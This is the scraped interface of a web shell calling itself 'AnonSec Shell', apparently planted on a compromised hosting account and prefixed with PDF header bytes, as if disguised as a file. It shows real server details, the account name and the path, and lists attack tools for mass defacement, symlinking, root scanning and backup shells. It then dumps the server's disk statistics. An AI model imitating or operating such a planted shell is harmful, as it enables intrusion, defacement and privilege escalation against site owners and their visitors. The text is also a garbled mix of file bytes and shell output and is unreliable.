%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/proc//diskstats
   7       0 loop0 44 0 85 1 0 0 0 0 0 60 1 0 0 0 0 0 0
   7       1 loop1 288 0 7192 57 0 0 0 0 0 148 57 0 0 0 0 0 0
   7       2 loop2 52087 0 272460 1523 0 0 0 0 0 30648 1523 0 0 0 0 0 0
   7       3 loop3 265 0 4434 85 0 0 0 0 0 188 85 0 0 0 0 0 0
   7       4 loop4 54621 0 290284 1496 0 0 0 0 0 34724 1496 0 0 0 0 0 0
   7       5 loop5 68056 0 353606 2062 0 0 0 0 0 41384 2062 0 0 0 0 0 0
   7       6 loop6 67781 0 350438 1986 0 0 0 0 0 39924 1986 0 0 0 0 0 0
   7       7 loop7 52197 0 275284 1750 0 0 0 0 0 30748 1750 0 0 0 0 0 0
  11       0 sr0 17 0 7 1 0 0 0 0 0 36 1 0 0 0 0 0 0
   8       0 sda 2932026 236669 157734278 2800554 53640344 30268278 1448881393 137224874 0 66882472 140116747 46147 38554 342259640 91318 0 0
   8       1 sda1 11967 0 109066 7501 0 0 0 0 0 11856 7501 0 0 0 0 0 0
   8       2 sda2 3268 137 563684 7743 1624 446 2089208 38912 0 10496 46890 121 18 5799904 234 0 0
   8       3 sda3 2915264 236532 157000513 2784811 53638720 30267832 1446792185 137185962 0 66865464 140061856 46026 38536 336459736 91083 0 0
 253       0 dm-0 3148332 0 156768679 3118412 83641388 0 1446792185 226953360 0 66839228 230243364 84562 0 336459736 171592 0 0
   7       8 loop8 72261 0 391636 2150 0 0 0 0 0 35328 2150 0 0 0 0 0 0
   7       9 loop9 54754 0 294434 1579 0 0 0 0 0 34728 1579 0 0 0 0 0 0
   7      10 loop10 100488 0 523036 2518 0 0 0 0 0 43092 2518 0 0 0 0 0 0
   7      11 loop11 97778 0 513944 2733 0 0 0 0 0 41688 2733 0 0 0 0 0 0
   7      12 loop12 116214 0 626058 2991 0 0 0 0 0 45656 2991 0 0 0 0 0 0
   7      13 loop13 536694 0 2643046 11290 0 0 0 0 0 96020 11290 0 0 0 0 0 0
   7      14 loop14 572 0 12116 309 0 0 0 0 0 420 309 0 0 0 0 0 0
   7      15 loop15 711 0 19038 531 0 0 0 0 0 1024 531 0 0 0 0 0 0
   7      16 loop16 459 0 7948 326 0 0 0 0 0 316 326 0 0 0 0 0 0
   7      17 loop17 275 0 3526 276 0 0 0 0 0 220 276 0 0 0 0 0 0
   7      18 loop18 2758 0 209844 1415 0 0 0 0 0 10160 1415 0 0 0 0 0 0
   7      19 loop19 3759 0 41110 5873 6412487 0 65787888 8800574 0 9157028 16203002 519 0 31433016 795 621473 7395759
   7      20 loop20 553 0 15070 116 6 0 16 13 0 380 144 0 0 0 0 6 13
   7      21 loop21 72831 0 386414 1750 0 0 0 0 0 34768 1750 0 0 0 0 0 0

Anon7 - 2022
AnonSec Team